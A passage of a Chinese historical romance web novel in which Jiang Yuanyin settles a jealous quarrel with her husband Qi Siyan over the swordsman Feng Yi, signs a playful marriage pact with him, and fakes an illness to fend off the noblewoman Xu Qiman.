江元音下意识地侧头躲了躲,“王爷何出此言?”
除掉江家,她自认在汴京,没有仇人。
而现在的江家,早被江兴德的青云梦,挥霍得差不多了。
陈蓉疯了,江正耀在东宫闯祸不受待见,江兴德无人可仰仗,自顾不暇,哪还有安排人手在侯府盯梢她的能耐?
李霁拧眉:“你最好祈祷能在全城的医馆寻到这么个人,否则……”
“否则?”
“盯上你的人,可能是宫里那一位。”
江元音面色骤变:“这如何可能?”
李霁没有多言,只是叹息道:“但愿不可能吧。”
其实他上回因给齐司延定平妻人选的事入宫时,便感受到了,李彦成不知为何,对江元音甚感兴趣。
但这又只是他的推断,尚无根据,他太笃定地说,怕是要吓得江元音寝食难安。
李霁叮嘱道:“你近期还是不要出府了。”
江元音点头,纠结了一会,还是开口问道:“敢问王爷,我……真的是先帝的女儿吗?”
“那不然?”李霁没好气道:“你若是皇兄的女儿,我早领你进宫认父当公主去了,怎会千方百计避免皇兄召见你?”
“先帝同先皇后生下你时,本王已有十一岁,还能记错?”
“你出生时左肩有胎记,先皇后忧心你一个女儿家,有这胎记不好看,故才命刺青师,将这胎记改成莲花的图案。”
“本王记得清清楚楚,你如何不是先帝的孩子?”
江元音不语。
齐司延同她说的那些,她自不可能告知李霁。
李霁提醒道:“你初初失踪那几年,皇兄可是下过追杀令的,你若不是先帝的女儿,皇兄何必追杀你?”
他语重心长道:“总归你要是在意自己的脑袋,就别往皇兄跟前凑。”
江元音点点头,起身告辞。
李霁和齐司延的说法,截然相反。
真相如何,大抵只有李彦成本人才知道。
这个代价,她是赌不起的。
好在,她也没那么想知道真相。
江元音回到侯府,将近酉时,一迈入青松院,守院门的丫鬟便上前禀告道:“夫人,侯爷今日申时就回府了,说要是夫人回得早,便请夫人去书房一趟。”
江元音表示了然的颔首,领着封弋往齐司延书房走去。
一进书房,齐司延同曲休的目光非常一致地,先看江元音,继而落在封弋身上。
“侯爷,”江元音介绍道:“这位是我朋友,封弋,他暂无去处,我想留他在侯府小住。”
封弋垂眸,瞟了姜云音一眼,似是对她的说辞不太赞同。
齐司延起身走至江元音身前,自然地牵住她的手,将她往自己身边拉了拉,不着痕迹将与她并排而立的人,从封弋变成了自己。
他噙着浅淡的笑,看向封弋,毫不掩饰打量的目光,淡声道:“阿音的朋友便是本侯的朋友,侯府上下皆会欢迎,封公子不必拘束,且安心住下。”
封弋敷衍地抱了抱拳,不多言语。
书房内的气氛,莫名有些许紧张。
齐司延摩挲着江元音的手,唇边的笑容不散,又看似随意地问:“不知封公子和阿音是何时相识的?怎地从未听阿音提起过?”
江元音率先出声回答道:“初八,我去云鹤观那日,在玄渺峰山脚,遇见了封弋,他当时受了伤,是我将他送到医馆的。”
“哦?”齐司延墨眸里有层层叠叠的情绪,“云鹤观乃祈福圣地,往来都是虔诚的香客,不知封公子因何受伤,伤可好些了?”
封弋面无表情,惜字如金:“挺好。”
齐司延敛了笑,书房的气氛莫名的剑拔弩张起来。
江元音在心底叹了口气,在不欢而散之前,忙出声道:“清秋,你领封弋去逛逛侯府,让他挑间他满意的客房。”
她虽和封弋称不上多熟稔,但对他的脾性是有一定了解的。
上辈子,他后来虽投诚了李承烨,替李承烨做事,在李承烨面前,也是半点没卑躬屈膝过。
封弋不耐蹙眉:“不挑,离你屋最近即可。”
齐司延掀了掀眼皮,一旁的曲休已经是非常警备的状态。
江元音更了解身边的这个男人,回握住他的手,正要解释安抚,面前的封弋却语不惊人死不休。
封弋:“离得近,才好保护你。”
齐司延轻笑了声,刚张嘴便被江元音死死抱住了胳膊。
她瞪了封弋一眼,急声道:“你先出去!”
再放任他在齐司延面前“大放厥词”,简直不敢想,一会书房会是什么火爆场面。
好在封弋没有再多言,转身走得干脆果断。
曲休等人也依次退下,书房便只剩下了江元音与齐司延。
齐司延眯了眯眼,似笑非笑道:“阿音可是嫌我命长,故意领个眼中只有你的男人登门,好气死我?”
“他不能留在侯……”
下半句被江元音堵住。
她垫脚主动吻住了他,是他惯用的以吻封缄。
齐司延很享用她的主动献吻,快要迸发的怒火散了大半,但依旧坚守自己的原则。
在她离开他的唇时,他语气稍缓:“美人计也不行,他不能……”
江元音如法炮制,吻完后,环住他的脖颈,软声道:“侯爷先听我说完再做决定不迟。”
“可他……”
江元音再次啄了啄他的嘴,娇声道:“先听妾身说完嘛。”
齐司延认输,环住她的腰,眼底是无奈与纵容,冷哼道:“行,且先听你如何说。”
“我曾在梦里见过封弋,他身手了得,是一等一的高手,杀人于无形,因被大昭境内通缉,而去了泉郡,投奔了李承烨,后成为李承烨的利刃,替其杀了不杀人。”
“初八那日,我在玄渺峰山脚,见他浑身是伤,命在旦夕,我一眼便认出了他。”
“此等成为高手‘恩人’的好时机,我自要好好把握。”
“他并非眼中只有我,只是我救了他,所以他保护我。”
“而他说话方式,又与常人不同,因此才惹得侯爷误会了。”
齐司延质疑出声:“今日离初八,不过短短半月,他之前若真浑身是伤,命在旦夕,如何能半月就好?”
“是,我将他送去医馆时,那郎中也说,他浑身都是瘆人的血窟窿,恐熬不过半月,”江元音如实以告:“大抵是我及时喂了他一颗静息丸,又在城西买了小屋,雇了郎中时刻照顾,加之他自己本身底子好,想必也懂得运功调理,所以才好得这般快。”
齐司延的眸光沉了又沉,呼吸重了重。
环住她腰的双臂如烙铁,将她往自己怀里拉,语速极缓,近乎咬牙切齿,道:“阿音的意思是,你不仅将我给你的静息丸,喂了他,这半个月,还在城西为他置宅,雇郎中照顾他?”
“那阿音呢?”他声音越发的轻,“可有不时,亲自前往,照顾他?”
也像之前给他熬药,喂他那般照顾那个男人?
所以那个男人,当着他这个夫君的面,都敢眼里只有她一人?
用不着那个男人住在侯府来气他了。
此时此刻,他已经要被气死。
“当然没有,”江元音连声否认,“我不过才去看了他三回……”
“半个月看三回?”齐司延后槽牙快咬碎,“仍嫌不够,还要将他领回侯府?”
江元音感受到他快要爆发的情绪,再次垫脚亲了亲他。
齐司延气得不行,不想又败在她的美人计里,别过头避开。
于是江元音的吻落在他的侧脸。
她无语地望着他别扭紧绷的侧脸,嗔道:“你不要乱吃醋,好不好?”
“到底能不能先听我说完?”
齐司延生怕自己认输,一眼不看她。
“我要留他在侯府是因为……”
齐司延口吻生硬打断道:“他不能留在侯府。”
他从不是什么大度的男人。
与她相关的一切,他更是小气得很。
江元音头一次见齐司延这般油盐不进,一时来了脾气,故意道:“行,那我现在就回江南!”
齐司延气得心口绞痛,双臂死死箍住她的腰,半点不肯松。
在近乎吐血的边缘,压抑着情绪,又硬邦邦道:“……好,你说。”
第140章 我齐司延自愿入赘
江元音说道:“今日我去了趟钱庄,顺便去西街看望封弋,刚说不到两句话,封弋便发现有人跟踪我。”
齐司延无暇吃醋,紧声发问:“是何人?可抓到了?”
江元音闻言便知,此事果然与齐司延无关。
她摇头回道:“封弋用树枝伤了那人,可惜人跑了。”
“所以封弋刚说的住得离我近一些,好保护我,纯粹是字面意思,他只是想报我的救命之恩,侯爷不必多想。”
齐司延冷声道:“那他为何让人跑了?”
江元音眼里写满了无语:“封弋的背景我都同侯爷说了,我不愿他再去帮李承烨杀人,有什么问题吗?侯爷非得挑刺?”
齐司延品出了关键点,询问道:“阿音厌恶李承烨?”
她提起了前尘往事,对李承烨都是一笔带过,没有过多的形容。
江元音没有否认,顺势应了,“是,我很讨厌他,”但依旧没有过多提及李承烨前世对她做过的那些事,“所以我要留下封弋,侯爷应当能理解?”
齐司延沉默片刻,他的情绪终于有所缓和,点头轻“嗯”了声。
江元音忙伸手再次环住他的脖颈,眉眼弯弯,再接再厉安抚夸赞道:“侯爷最是英明神武,气度不凡!”
齐司延完全没了脾气,眉舒目展,道:“有人跟踪你的事,我会着手去查。”
说完想到什么,还是严肃地开了口:“阿音,我非是质疑你所言,只是你遇着他的地点有些蹊跷,我需得再调查他一番,也望你能理解。”
末了,他补充解释道:“我在云鹤观后山,建了个暗室,用来审讯一些可疑人。”
“五月初那回,我的确是去了云鹤观,不是去见元奚真人,是因为抓到了给陆氏送毒的人。”
不待江元音追问,他主动道:“没问出来,那人自杀了。”
江元音恍然,难怪他刚刚听到她是在玄渺峰山下救下封弋时,会开始追问试探,原来也不仅仅是因为吃醋。
她表示了然地点点头,随之分析道:“他或许只是想去找元奚真人求药?”
按照她上辈子的记忆,封弋只要没屠伤害他恩人的恶人满门,便不会落得个被通缉,投奔李承烨的结局才是。
齐司延垂眸低扫江元音,声音又微不可察地沉了沉,“谨慎些总归没错。”
江元音不想破坏刚缓和的气氛,附和道:“侯爷所言甚是。”
她结束了这个话题,开口问道:“侯爷让我来书房,所谓何事?”
齐司延松开她的腰,牵着她走向书案,“要事。”
书案前便只有一张梨木椅子,他落座后,熟稔地伸手,将她拉坐在他腿上。
两人衣袂相连,他的胸膛贴着她的后背,将她锁在书案与自己怀里,伸手去拿书案上的卷轴。
齐司延将卷轴在她面前摊开。
江元音垂首看去,视线里铺展开来的是一副画卷。
她粗粗的瞟了眼,从左至右,是不同的风景建筑,每处下方,都有标注地名。
虽有些地名陌生,但也能推测出是江南之地。
江元音讶然出声道:“这莫不是江南水乡图集?”
“算是,”齐司延的手指落在最左边的图像上,徐声介绍道:“此处是岚州,江烟袅袅杂山岚,常见水雾弥漫之景,家家枕河而居,据说是四季如春,夏日里更是清凉,是消暑的好去处,你不喜热,此处可以考虑。”
他的手继续右移,又落到第二处图景上,继续介绍道:“此处是梧州山塘,我们可以选一座邻水而建的小院,闲时坐画舫游乐,在渡口听人说书,岂不惬意快活?”
他修长的手指来到第三处,“而这是抚溪郡,溪水九曲十八弯,常设曲水流觞宴,冬日我们可以煮雪烹茶……”
齐司延不疾不徐地一一介绍完,亲昵凑近她耳畔,轻声询问:“阿音喜欢哪处?”
江元音心里热流涌动,一时不语。
“若是没有阿音喜欢的,我再去挑挑,”齐司延下巴抵在她的肩膀上,近乎低哄的声线里,透着些不易察觉的小心翼翼,“阿音喜欢哪,我们日后便去哪。”
自从坦诚把误会说开,两人之间再没发生过争吵。
可他心里难以自控地惴惴不安。
他怕她没信过他会随她一道下江南。
更怕她那句她会在江南等他,只是谎言。
所以他一口一句“我们”,提醒着她,不要落下他。
江元音看着画卷上标注地点的字,认出那是齐司延的笔迹。
画卷内容繁复,但详略得当,排列布局井然有序,可见作画人是费了一番功夫心血的。
她轻嗅了嗅,依稀还能闻到墨水的香气。
她没回答,而是开口问道:“这是……侯爷画的?”
“嗯,”齐司延自身后圈抱着她,“这几日整理好的,既没有阿音中意的,我再找找,过几日再给阿音瞧瞧。”
齐司延兀自畅想规划着:“若有阿音感兴趣的,我们过一阵寻个日子,南下看看,可好?”
江元音听得出他的言下之意,声音发紧,“侯爷有空南下?”
“自不可能让阿音一人南下,”齐司延不忘逮着机会提醒,“那是我们日后的家,为夫得前去购置好屋宅,和阿音一起熟络熟络新家。”
江元音一听便知他是个什么心思,故意逗弄他道:“侯爷不必费心,妾身如今也算得上是腰缠万贯了,况且回江南定居,是妾身自己的决定,妾身想自己掏钱购置宅院,再挂上‘江府’的门牌。”
“既不称‘齐府’,侯爷可还要折腾,随妾身南下?”
齐司延半点不恼,好脾气地附和她道:“夫人实力雄厚,本侯三生有幸,余生便仰仗夫人厚爱了。”
江元音“作恶”不成,转头看他,眸光潋滟,挑眉道:“侯爷这是愿意入赘我江家?”
“万分愿意。”
江元音算是见识过他的“没脸没皮”,没好气地抬手戳他胸口,“侯爷的男子气概呢?”
齐司延握住她的手,俯身亲了亲她的唇,半点没觉自尊受损,不好意思,反而理直气壮道:“男子气概有何用?有阿音足矣,阿音喜欢娇夫,本侯便做娇夫。”
江元音嗔了他一眼,眼波流转间,却全是腻人的甜,“侯爷现在张口便来,届时定会耍无赖不认!”
齐司延认可地点点头,“有理,一会便立个契约文书,我与阿音签字画押,可好?”
末了,他话锋一转,又道:“不过唤‘江府’亦不合适。”
江元音眉眼上挑,只觉得齐司延终于演不下去,要露狐狸尾巴了,“那要叫什么?”
他可别说要唤“侯府”之类的。
她才不信,他高高在上被人捧惯了,愿意当她的“赘婿”呢。
齐司延直直看她,认真道:“‘阿音府’吧,或者‘元音府’?”
她早该摘掉“江”这个姓。
他沉声道:“我齐司延自愿入赘‘阿音府’,还望阿音不离不弃,同我恩爱长久。”
江元音微怔。
他竟会这般说。
她只觉得心口酸胀,却并非是难过。
齐司延趁热打铁,“口说无凭,我们即刻立个契约文书,签字画押。”
他伸手探向狼毫架,又取了缣帛,将刚刚所言悉数写上,没有分毫的犹豫,利落地签字画押。
一气呵成的做完,拉了拉江元音的手,催促道:“阿音,该你了。”
江元音仍有些愣怔,尝试抽出自己的手,喃喃道:“侯爷,只是开个玩笑……”
齐司延却不许她退缩,握紧了她的手,严肃重声道:“可我当真了。”
他字字句句,都是肺腑之言。
齐司延薄唇张了张,终是问出了横亘在心口多日的担忧。
他缓声问道:“难道阿音之前说,愿意在江南等我,也是玩笑吗?”
良久的沉默,齐司延好似遭了火烤。
他素来迁让她,但这个问题上,却不肯退让半步,十分坚持。
她不吱声言语,他便握着她的手,去拿狼毫,执着地,一笔一划签上她的名:元音。
江元音低眼,看到他没写“江”姓,心里某处坚硬的地方松动了下。
终是如他所愿的,画了押。
齐司延眼角眉梢都是遮掩不住的笑意,拿了帕子为她擦拭手指,然后牵着她出书房,去吃晚餐。
齐司延心情甚好,再看到封弋时,也是一派温和的模样,半点不悦和脾气都没有。
曲休和雪燕、清秋默契地交换了下目光,在彼此眼里都读到了对江元音的钦佩。
……还得是夫人啊!
晚餐后,江元音领着封弋去院里的空房,思及齐司延的话,随口问了句:“你怎会在玄渺峰山脚受伤?可是想上山,去寻元奚真人求药?”
封弋扫了她一眼,不语。
遇着他不愿意回答的事,他半个字也不会多说。
江元音深有体会,也就不再追问。
次日上午,江元音收到了两封信。
一封是来自柳州兰城,是秦瑾烟写与她的,报平安的信。
信件不长,短短数行,她细细阅读,为秦瑾烟开始新的生活而由衷的高兴。
另一封,又是邀约贴。
来自“老熟人”,户部尚书李诚的夫人王氏。
江元音压根没去细看内容,便吩咐道:“派人去尚书府回个口信,多谢李夫人相邀,我身子抱恙,不便应邀。”
“是,夫人。”
有了上次的“赏荷品茗”宴,江元音对王氏剩不了好印象。
本身二人也没多深的交情,王氏上回是替李霁做局,这回也未必是“好事”。
总之王氏之前站出来指证齐明宏的人情,她已还过了。
她无心同这些贵夫人往来,何必去?
第141章 我,你便得罪得起?
下午,丫鬟来报。
“夫人,户部尚书李夫人求见。”
江元音掀了掀眼皮,透出些不耐来。
她都已经派人去传了口信,王氏还来登门。
真是没完没了。
王氏不至于如此蠢笨,觉得她上回没发现其是在替李霁做局吧?
又或者是她太和颜悦色,令其高估她们之间的交情,觉得她好说话?
再或者……这回她背后又有人指使?
江元音冷不丁地想到昨日尾随她出府,被封弋树枝射伤的人。
会不会和此次指使王氏的人相关?
思及此,她开口道:“领她去前厅,我随后便来。”
左右这里是侯府,见王氏一面不会有什么危险。
她且去会会,王氏这回又是打的什么主意,又是否同昨日尾随她的人有关。
江元音没忘记上午给出的说辞,在雪燕、清秋的搀扶下,姗姗来迟地出现在前厅。
等候许久的王氏,似有些难掩的焦灼,远远瞟见江元音过来的身影,立马起身相迎。
“侯夫人。”
江元音颔首,算是回应了她的示好,缓步在主位落座,方才看向王氏,状似不经意地问:“李夫人今日怎么来了?”
王氏在其右手边的位置落座,道出早备好的说辞:“听闻侯夫人身子抱恙,特带了些补品,前来探望。”
她关切地打量着江元音,又问:“侯夫人是哪里不舒服?可仍是害喜之症?”
江元音不置可否,意有所指道:“没甚大碍,不值得李夫人大费周章的跑一趟。”
王氏一听,莫名松了口气,按捺不住地问:“既没甚大碍,侯夫人怎不参加后日的茶宴啊?”
她不待江元音出声,接着劝道:“这回人比上回赏荷品茗宴的人更少,都是几个好相与、善谈的姐妹,侯夫人有孕在身,成日待在侯府也烦闷,不如多出来和姐妹们处处,打发打发时间。”
江元音淡淡瞥了王氏一眼,脸上的笑容不散,眼里却半点笑意没有。
她缓声问道:“是什么让李夫人觉得,你办宴,我便一定要去呢?”
王氏面色一变,笑容尴尬僵硬,“我自不敢这般想,无非是之前在齐文台的寿宴上,同侯夫人相谈甚欢,前些日子的赏荷宴,也好生招待了侯夫人,更见侯夫人同大家处得其乐融融,是以才邀约侯夫人去后日的茶宴,为的也是给侯夫人解闷逗趣。”
她特意提了齐文台寿宴,是想同江元音攀一下交情。
当然也是因为,除此之外,她再没有其他交情可和江元音说道。
江元音不同她虚与委蛇,直接道:“我上一回会去贵府参加赏荷品茗宴,也是因为先前在齐文台的寿宴上,与李夫人相谈甚欢。”
“为还李夫人这点人情,我才没有戳破计较上回之事,李夫人就真当我什么都不知?”
“侯、侯夫人……这话是何意?”王氏目光闪烁,装傻充愣道:“上回可是我尚书府有招待不周的地方?还请侯夫人直言,我好生同侯夫人赔礼道歉,避免下回再犯。”
江元音敛了笑,“我卖李夫人薄面,李夫人却算计着拿我送人情。”
她点破问道:“不知今日又是为了哪位大人物,登门来当说客?”
她之前没同王氏计较了,一来是李霁对她没有恶意,二来也理解王氏不敢违抗李霁,三来便是还了她指证齐明宏的人情。
王氏噎住,一张脸红红白白,兀自纠结了好一会,才开口道:“既然什么都逃不过侯夫人的眼睛,我便不瞒着侯夫人了。”
江元音看着她,静待下文。
“要办茶宴的人不是我,而是国公府嫡女,许绮嫚,许小姐。”
江元音心里情绪翻涌,面上却没展露分毫,不咸不淡地接话问了句:“那为何要你来发这邀约贴?”
竟是许绮嫚?
许绮嫚知道她就是李霁那日搂着的“心上人”,所以来寻她事了?
那昨日尾随她的人会是许绮嫚的人吗?
王氏观察着江元音的神色,“侯夫人聪慧,想必是一清二楚。”
“我与许小姐素不相识,怎会清楚?”江元音把话抛了回去,“倒是上次赏荷宴,听你们提及许小姐,一个个都熟络得很呢。”
王氏眨眨眼:“侯夫人记岔了吧,我可是半句没提啊。”
上回李霁这尊大佛就在一旁盯着,饶是隔得远,听不见她们的谈话内容,她也谨慎地没出声议论一句。
江元音冷声:“李夫人不打算诚心实言,那就请回吧,莫在这蹉跎。”
她扫了眼清秋、雪燕,示意二人上前“送客”。
王氏忙伸手挡了挡,连“诶”了好几声,“侯夫人莫恼,我说、我说。”
雪燕、清秋这才退回来。
王氏问道:“侯夫人昨日出府,去了西街遇仙楼吧?”
“怎么?”难道昨日真是许绮嫚派人跟踪她了?
王氏又问:“侯夫人应当还记得陈夫人吧?”
江元音在脑海中回忆了下,不露情绪地回:“有点印象。”
她记得那陈夫人便是一口一个“汴京第一贵女”来挖苦许绮嫚的人。
“陈夫人的贴身丫鬟昨日去了趟西街,经过了遇仙楼,”王氏目光落到清秋、雪燕身上,“巧了不是,那丫鬟是个记性好的,认出了侯夫人这二位丫鬟。”
“更巧的是,昨儿个许小姐的丫鬟也经过了遇仙楼,也认出了侯夫人这两位丫鬟。”
“陈夫人的丫鬟能认出这二位,当是因为那回赏荷宴,一起侍奉主子,有些印象,那许小姐的丫鬟为何会认识这二位,我可就不知道了。”
江元音主仆三人,皆有些无语。
那日在鹤鸣琴筑,她是戴了帷帽,雪燕、清秋没戴。
这样也能被记住?
而昨日,她是觉得要和李霁谈话,不便有人旁听,让她们在门口等。
这样也能遇到熟人,并且被认出来?
难不成她日后出门,自己戴帷帽不够,还得把她们的脸也遮起来不成?
王氏又道:“我也不知这事后来是怎么闹到许小姐面前去的,也不懂许小姐为何非要见侯夫人。”
她把手一摊:“这事和我本没有干系,是陈夫人说,侯夫人深居简出,不同大家往来,只与我有些交情。”
那陈夫人就是个看热闹不嫌事大的,自己又怕惹上麻烦,把这烫手山芋交给了她。
可即便许绮嫚一句未言,所有人都能猜出是怎么一回事。
八成是与珩王李霁相关,许绮嫚才会坐不住。
王氏作为先前受令李霁办宴的人,对这事是十成笃定。
王氏叹了口气,“上次的事,我也是迫不得已,绝非是要算计侯夫人,拿侯夫人当人情。”
她一脸为难:“实在是珩王爷,得罪不起啊。”
她起身朝江元音福身行了个礼,“国公府我亦是得罪不起,还请侯夫人不要为难我,后日如约出席吧。”
江元音笑了笑,冷声道:“所以,李夫人是觉得我,你便得罪得起?”
王氏辩驳了句,“我不是这个意思。”
她接着劝道:“侯夫人后日来一趟定出不了什么事,上一回不就好好的吗?以侯夫人的脾性定能和许小姐相谈甚欢,要是二人能交好,日后侯府……”
“李夫人,”江元音打断她的喋喋不休,“我再重申一遍,我与许小姐素不相识,所以你刚刚所言,我一个字不信。”
“许小姐若想见我,大可以直接邀约我,没必要这般遮掩不磊落。”
“倒是李夫人,把自己的所作所为悉数安在别人头上,把自己摘个干净,令人不齿。”
“我与李夫人观念不合,日后也不必往来了。”
江元音下了逐客令,“雪燕、清秋,送客。”
“是,夫人。”
王氏脸色大变,胸膛起伏,威胁的话脱口而出:“侯夫人要是这般不配合,把我逼急了,我只能把你和珩王之间的种种,悉数告诉许小姐了!”
若非迫不得已,她当然不愿意和江元音撕破脸。
白日里收到江元音拒绝的口信,她便去国公府告知许绮嫚了。
然而许绮嫚说,若是她办不好这件事,她丈夫李诚,这辈子也别想右迁。
国公爷权倾朝野,那可比刚病愈,回归朝堂的定宁侯有权势得多!
所以,她这才马不停蹄登门侯府,来游说江元音。
江元音回怼的话到嗓子眼,忽然心生一计,于是咽了下去。
她朝王氏笑了笑,温声道:“李夫人何必大动干戈?后日,我去便是。”
第142章 我这个夫君是摆设?
听到江元音改口,王氏态度立马大转变。
刚还瞠目的一张脸,挤出和颜悦色的笑:“我真真是迫不得已,无意触怒侯夫人,还请侯夫人见谅。”
江元音并不回应,只是抬手抚住腹部,再次逐客:“李夫人请回吧。”
王氏得偿所愿,顺势告辞:“不叨扰侯夫人歇息,后日一定精心为侯夫人准备滋补的餐食,好生款待。”
她示意丫鬟将带来的补品递过去。
江元音轻飘飘道:“侯府多得是御赐的名贵药品,李夫人带来这些我也用不上,便一并带回吧。”
王氏被扫了脸面,半点不敢表现,只能压下不满,连声附和,速速离开。
待王氏主仆的背影消失在视野,雪燕不解出声:“这李夫人只顾着自己有难处,就来为难夫人,夫人为何要应邀?”
清秋:“是啊夫人,那许小姐在汴京无人敢惹,犹记得早些年,但凡珩王爷多看了几眼的女子,都被折腾得挺惨的,后日怕是要……刁难夫人啊!”
“放心,”江元音浅笑,“我不会去。”
雪燕、清秋两脸雾水。
江元音悠悠道:“我要不假装应她,后日之前,她必定想方设法来劝说我,或是早早报到许绮嫚那去,又要动别的主意。”
“就让她以为这事成了,安心欢喜地准备呗,待后日,许绮嫚兴师动众的扑了空,王氏能落着好?”
若不是王氏刚刚敢出言威胁,她也不会这般算计她。
王氏这般惧怕得罪许绮嫚,她就借力打力,“帮”其得罪个彻底。
当然江元音更没忘记,王氏还怕得罪李霁。
她“好人”做到底,一并帮她得罪到位。
江元音书信一封,将许绮嫚找上她的,王氏登门威胁的事写得清楚。
落笔后,却还是谨慎得没送出去。
昨日那尾随她的人究竟是谁还说不准,保不定这侯府附近还有蹲守她行踪的人。
万一要真有许绮嫚的人,蹲到她与李霁有往来,那简直是不打自招。
次日清晨,齐司延准备去上早朝时,江元音坐起身,有些睡眼惺忪地唤了声:“侯爷。”
“嗯?”正在穿衣的齐司延转身,轻声安抚道:“甚早,你再睡一会。”
江元音点点头,指了指梳妆台,“我梳妆台上压着封信,侯爷今日上早朝,碰到了珩王爷,帮我转交给他。”
她派人送信会惹人生疑,但若是齐司延“碰”到了李霁,顺手给他,便无人在意。
齐司延迈至梳妆台前,拾起信件,挑眉问道:“写了什么?”
他低声试探问道:“可是我又做错什么,惹恼阿音了?”
他可记得清楚,上回江元音去见李霁,是让李霁助她和离。
现下手中的这一封,该不会又是诉状书吧?
江元音无语道:“不是,侯爷若感兴趣,可以打开看看。”
他怎地无论她做什么,他都往自己身上联想?
未免过于自恋了。
齐司延等的便是这句话,随即展信阅览。
看完后,大步迈回床榻,眉心微蹙,问道:“你昨日为何不告诉我?”
“昨夜侯爷回来得晚,一时忘了。”
齐司延俯身弯腰,与江元音平视,嗓音里透着些失落与不满:“阿音觉得我这个夫君是摆设,要寻求别人庇护?”
她受气了,竟不告诉他。
而是书信李霁?
“侯爷误会了,”江元音懒懒道:“我这可不是寻求珩王庇护。”
“嗯?”
“这是冤有头债有主,这事本就是他惹出来的,自该他去处理。”
齐司延被江元音一句话“哄”好,将信收回袖口,亲了亲她的额头,温声道:“我会处理好,你接着睡吧。”
江元音睡醒后,没有闲着。
午后,她拿着些胭脂水粉,在自己的手臂上捣鼓。
雪燕、清秋好奇地问:“夫人这是作何?”
“在麻烦登门前,先做好准备。”
“什么麻烦?”
“许绮嫚。”
江元音的确不认识不了解许绮嫚,唯一的印象只是那日在鹤鸣琴筑,被李霁气得心碎跑开的身影。
但周遭每个人都在渲染,许绮嫚是个为了李霁不顾一切的“疯”女人。
既如此,在明天王氏“举办”的茶宴上,许绮嫚要是见不到她,必定会有下一步。
保不定,会登门侯府。
她得有备才能无患。
如江元音所料,茶宴当日,不到申时正点,丫鬟来报,许绮嫚登门了。
许绮嫚比她想象中的更沉不住气,好在她早做好了应对的准备,半点不慌。
江元音吩咐丫鬟:“告诉许小姐,便说我染了病,不便见客,她若执意要见,便领她去前厅。”
“是,夫人。”
语罢回了主屋,拿出胭脂水粉,经过昨日一天的练习,她很熟练地在手臂,脖颈与脸颊处都画上了瘆人的“脓包”。
不仅是给自己画上,也谨慎地给雪燕、清秋画上。
弄完后,主仆三人戴上面纱,去了前厅。
这章没有结束,请点击下一页继续阅读!前厅里,许绮嫚珠围翠绕,富贵逼人,显然是精心打扮,想要盛装出席下午的茶宴。
谁知扑了个空,此刻怒气满满地坐在主位,反客为主,衬得江元音才似登门拜访的那一位。
江元音迈入前厅,随即停步,望向冷脸坐在主位的许绮嫚,温声询问:“不知许小姐这般急切要见妾身,所为何事?”
许绮嫚目光如刺地落在江元音身上,冷声道:“侯夫人好大的架子,今日茶宴,让所有人等你,失约不来,也不提前传个信?”
“失约?”江元音揣着明白装糊涂,讶然道:“许小姐也去了今日李夫人办的茶宴?可前日我便同李夫人说了,我身体抱恙,无法应邀,何来失约一说?”
许绮嫚早没了耐心,根本懒得听江元音在说些什么,心思全在那面纱下的面容上。
她今日非得看看,她到底生了副什么狐媚模样,才引得王爷看上她这个有夫之妇!
她咄咄逼人道:“你停在门口作何?为何要佩戴面纱,你有何不可见人?”
江元音半点不恼,一一回应道:“我浑身起了不少脓包,不知是不是染了什么病症,怕吓到许小姐,才佩戴面纱,怕过了病气给许小姐,才站在门口不前。”
许绮嫚半信半疑,示意右侧的贴身丫鬟上前确认一番。
丫鬟刚往前走了几步,江元音主仆三人配合地撩起了衣袖,露出了手臂上的“脓包”。
丫鬟瞬间驻足,惶恐不前。
隔着数步远的距离,那些个“脓包”个个都瘆人得很,让其头皮发麻。
丫鬟转头看向许绮嫚,声音发抖地劝道:“小、小姐,侯夫人满身脓包……小姐还是莫要与之同处一室了,免得染上病气啊!”
她自己亦不敢继续上前,但也不敢擅作主张地后退,只能战战兢兢地停在原地。
门口有风吹来,扬起江元音主仆三人的面纱,下颌、脖颈处的红点、脓包甚是扎眼。
许绮嫚亦看得汗毛倒竖,不自觉地往后仰,拉开距离。
江元音接着道:“因我有孕在身,郎中也不敢随便开药,怕伤及侯爷子嗣,只得让我保守治疗。”
“前日李夫人登门,见了我这副模样,吓得没说两句话便匆匆离开了,我还以为李夫人定知晓我不会去参与茶宴,免得害诸位姐妹无辜染上病症。”
“奇怪了,”江元音叹了口气,愈发疑惑地问道:“难道李夫人没同许小姐说么?”
闻言,许绮嫚的丫鬟率先出声道:“小姐,那王氏真是没安好心,她故意隐瞒侯夫人的病症不说,还装模作样地大办茶宴,莫不是故意戏耍小姐!”
另一丫鬟认可的附和:“这些个女眷,个个嫉恨小姐风光,定是没安好心!”
早几年,许绮嫚的的确确是当之无愧的“汴京第一贵女”,风头无两。
她年轻气盛,唯一的挫折,只是李霁不欢喜她。
而这,也成了那些个女眷拐弯抹角,明里暗里笑话她的由头。
她与她们,闹过不少矛盾。
许绮嫚满脸掩饰不住地怒火。
王氏敢戏耍到她头上,她定不会轻易绕过!
可面前江元音的面纱,她今日是非揭不可!
面对丫鬟们劝离的声音,许绮嫚横眉冷目,“我都没慌,你们慌什么?反正已同处一室,还差这一时半会?”
李霁早成为她心魔般的存在。
但凡江元音不是人妻,哪怕是个烟柳巷的女子,她都不至于如此激动与不甘。
除去身份地位上的差距,江元音不也就是个养在深闺的普通女子吗?
她到底差在哪里?
许绮嫚直勾勾的盯着江元音,坚持道:“你就站在那,把面纱给我取下来。”
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第143章 怜惜怜惜我
江元音露着一双眼,不慌不忙地迎着许绮嫚的目光:“妾身不知许小姐为何对妾身的容貌如此感兴趣,只是许小姐既无畏病症,妾身索性上前,让许小姐瞧个分明仔细。”
她抬步朝许绮嫚迈过去。
“阿音。”
齐司延的声音自身后传来。
江元音驻足回眸,齐司延一身玄色锦衣,大步而来。
“侯爷。”
“见过侯爷。”
江元音没料到齐司延会突然回来,她装病之事并未和他提及,怕他说漏嘴,她率先出声示意道:“侯爷,我亦怕将病气渡给了许小姐,只是许小姐对我的容貌甚是好奇,这才上前,想让许小姐瞧个仔细。”
齐司延面色没有半点缓和,一脸不赞同地望着她。
这时许绮嫚出声了:“的确是我好奇,想见见侯夫人容貌,便是因此染上了病气,也绝不会寻侯夫人的麻烦。”
齐司延掀了掀了眼皮,这才看向坐在主位的许绮嫚,“许小姐此言差矣。”
许绮嫚对大家的恭维习以为常,只等着他呵斥江元音两句,她再大度表态。
然而却让她大失所望。
齐司延可不似其他人,忌惮国公爷,便不得不给她薄面。
恭维话没半句,问责声倒是响了起来:“许小姐一句好奇,便要强迫我抱恙的夫人来满足?”
“你染不染上病气,与我夫人何干?”
